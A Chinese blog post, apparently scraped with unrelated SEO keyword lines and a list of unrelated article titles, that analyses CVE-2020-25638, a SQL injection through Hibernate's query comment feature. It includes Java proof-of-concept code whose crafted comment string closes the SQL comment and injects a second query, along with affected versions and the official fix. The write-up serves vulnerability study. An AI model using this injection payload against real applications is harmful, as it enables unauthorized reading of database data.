当前位置: 首页 > wzjs >正文

网站开发专业感想网站建设产品说明书

网站开发专业感想,网站建设产品说明书,怎样才能注册自己的网站,西安 美院 网站建设前言: Hibernate-Core 通过 ​ORM 映射、会话管理、事务控制 和 ​缓存策略 四大支柱功能,实现了对数据库操作的抽象化,使开发者能够以面向对象的方式高效操作数据库。其设计兼顾灵活性与性能,是 Java 生态中 ORM 技术的经典实现…

前言:

Hibernate-Core 通过 ​ORM 映射、会话管理、事务控制 和 ​缓存策略 四大支柱功能,实现了对数据库操作的抽象化,使开发者能够以面向对象的方式高效操作数据库。其设计兼顾灵活性与性能,是 Java 生态中 ORM 技术的经典实现

CVE-2020-25638

查看下官方对漏洞的定义

可以看到漏洞出现在注释的地方,没用进行有效的校验机制,可能导致sql注入

原理

漏洞主要存在在注释功能中,在开发人员编写代码的时候,当出现bug的时候,可以通过注释快速识别 ​HQL 或 JPQL 查询对应的 SQL 语句,尤其在复杂查询或多表关联时,帮助开发者或 DBA 在日志中定位问题来源

但是注释的过滤代码过于简单,如果可以被前端控制就会造成sql注入,

首先看下是如何调用注释代码的

调用的方法很简单,就是对数据拼接上/* */注释符号,看下对 this.comment是否进行校验

同样没用进行任何处理操作

看下最后拼接的sql语句

 /* This is a comment */ select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

可以看到注释被放在了正常执行的sql语句前面,如果传入的comment注释内容前端可以控制,攻击者可以构造*/来闭合注释标签

测试

下面我们编写代码进行测试,首先添加查询的数据类User

package org.example;import javax.persistence.*;@Entity
@Table(name = "User")
public class User {@Id@GeneratedValue(strategy = GenerationType.IDENTITY)private String id;@Column(name = "username")private String username;// Getters & Setters
}

然后main中编写测试代码

 

package org.example;import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.annotations.common.util.StringHelper;
import org.hibernate.cfg.Configuration;
import org.hibernate.query.Query;import java.util.List;
import java.util.regex.Pattern;public class Main {public static void main(String[] args) {Configuration config = new Configuration().addAnnotatedClass(User.class).setProperty("hibernate.connection.url", "jdbc:mysql://127.0.0.1:8521/LLTets").setProperty("hibernate.connection.username", "root").setProperty("hibernate.connection.password", "*****").setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect").setProperty("hibernate.use_sql_comments", "true");SessionFactory sessionFactory = config.buildSessionFactory();try (Session session = sessionFactory.openSession()) {// 模拟恶意注释注入String maliciousComment = "*/  select id from User  --";Query query = session.createQuery("select id FROM User WHERE username='first' ");query.setComment(  maliciousComment );//query.setParameter(1, "aa");List users = query.getResultList();System.out.println("查询结果:" + users.size());} catch (Exception e) {e.printStackTrace();}}
}

执行后会发现如下报错

 这里提示我们缺少col_0_0_这个列,下面我们研究下我们之前查询的SQL语句

select id FROM User WHERE username='first' 

对应的内容转换的语句

select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

 可以看到

id转为了user0_.id as col_0_0_ 

FROM User转为了from User user0_

WHERE username转为了here user0_.username

 在 Hibernate-Core 中,HQL(Hibernate Query Language)转换为 SQL 时生成的别名(如 user0_.id as col_0_0_)是框架自动处理对象关系映射(ORM)和优化查询的关键机制。

照葫芦画瓢,或者通过session.createQuery调用我们的payload,就可以获取到对应的转换后的sql语句,最后转换完成就是下面的结构

select user0_.id as col_0_0_ from User2 user0_  --

最后的调用代码如下:

package org.example;import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.annotations.common.util.StringHelper;
import org.hibernate.cfg.Configuration;
import org.hibernate.query.Query;import java.util.List;
import java.util.regex.Pattern;public class Main {public static void main(String[] args) {Configuration config = new Configuration().addAnnotatedClass(User.class).setProperty("hibernate.connection.url", "jdbc:mysql://127.0.1.1:8821/LLTets").setProperty("hibernate.connection.username", "root").setProperty("hibernate.connection.password", "******").setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect").setProperty("hibernate.use_sql_comments", "true");SessionFactory sessionFactory = config.buildSessionFactory();try (Session session = sessionFactory.openSession()) {String maliciousComment = "*/  select user0_.id as col_0_0_ from User2 user0_  --";Query query = session.createQuery("select id FROM User WHERE username='first' ");query.setComment(  maliciousComment );//query.setParameter(1, "aa");List users = query.getResultList();System.out.println("查询结果:" + users.size());} catch (Exception e) {e.printStackTrace();}}}

 执行后的sql语句如下

 /* */  select user0_.id as col_0_0_ from User2 user0_  -- */ select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

使用*/闭合前面的注释,--将后面的内容全部注释即可执行select user0_.id as col_0_0_ from User2 user0_

需要注意注释功能默认是关闭的,需要设置中打开

setProperty("hibernate.use_sql_comments", "true");

修复

修复也很简单,就是做个转换,看下官方的代码

https://github.com/advisories/GHSA-j8jw-g6fq-mp7h
https://github.com/hibernate/hibernate-orm/commit/36ebf7d3836e83e99f2a91777b5389e1daf1f2b7#diff-db73bbf122356d881edeb9b3d69cc9ad5b469229214d289131fd6c98c6b7b4c0

具体的修复代码如下

当存在需要注释功能的时候直接调用进行转义即可

影响

官方给的漏洞范围如下

5.4.0.Final~5.4.23.Final 

<5.3.20.Final

另外4.x和3.x是否有影响

4.x测试代码如下

        try  {Session session = sessionFactory.openSession();String maliciousComment = "*/  select user0_.id as col_0_0_ from User user0_  --";Query query = session.createQuery("select id FROM User WHERE username='first' ");query.setComment(  maliciousComment );List users = query.list();System.out.println("查询结果:" + users.size());} catch (Exception e) {e.printStackTrace();}

测试证明同样存在风险,3.x也同样有该风险 

总结

漏洞能利用的三个条件

1.程序必须开启了hibernate.use_sql_comments,即设置为true,模式是关闭状态

2.程序的comment注释内容必须是我们可以控制的,只要是拼接到comment注释中没有经过处理的都可以

3.我们必须知道我们要获取数据类的字段名,如果存在报错输出最好,不然就要凭借经验或者获取公共类的数据

要满足以上三点可能性并不高,所以这个漏洞只有在很巧合的情况下才会出现,实际利用价值并不高

 

http://www.dtcms.com/wzjs/600613.html

相关文章:

  • 53套网站源码wordpress 插件错误
  • 网站推广无锡手机怎么防止网站自动跳转
  • 大芬地铁站附近做网站自主建站是什么意思
  • 做建筑材料哪个网站好一点为什么大公司不用c 做网站
  • 电话销售做网站犯法吗园林公司网站建设费用
  • 定制做网站费用网站vip功能怎么实现
  • .net 网站开发视频教程学网站建设 赚钱
  • 手机网页及网站设计创办一个网站要多少钱
  • 网站域名需要每年续费深圳外贸企业网站建设
  • 有ip地址如何做网站厦门 公司网站建设
  • jsp如何进行购物网站开发医联体网站建设
  • 国外网站做freelancer陕西网站建设报价
  • 给客户做网站需要提供昆明seo网站
  • 国内建网站流程注册一个公司最少要多少钱
  • 南昌网站建设公司服务器热门的网站模板
  • 可以搜任何网站的浏览器个人交互式网站备案
  • dw做网站怎么加视频做网站软件dw
  • 内部网站建设的步骤过程免费视频素材库app
  • php网站开发应具备能力上海网站建设__永灿品牌建站
  • 北京海淀公司网站icp备案wordpress任意文件删除漏洞
  • 云速建站与传统网站的区别512 做网站
  • 常用网站png快速赚钱的软件
  • 紫色个人网站模板百度做网站需要多少钱
  • 专做商铺中介网站网站建设多少钱哪个济南兴田德润有活动吗
  • 知道网站前台怎样进后台html购物网页设计
  • wordpress后台如何登录windows优化大师和鲁大师
  • 青岛市崂山区建设局网站wordpress文章页面图片自动适应
  • 久久建工集团网站优化北京如何联系?
  • 网站访客分析求个网站2021可用
  • 专业的个人网站建设哪家网站开发课程设计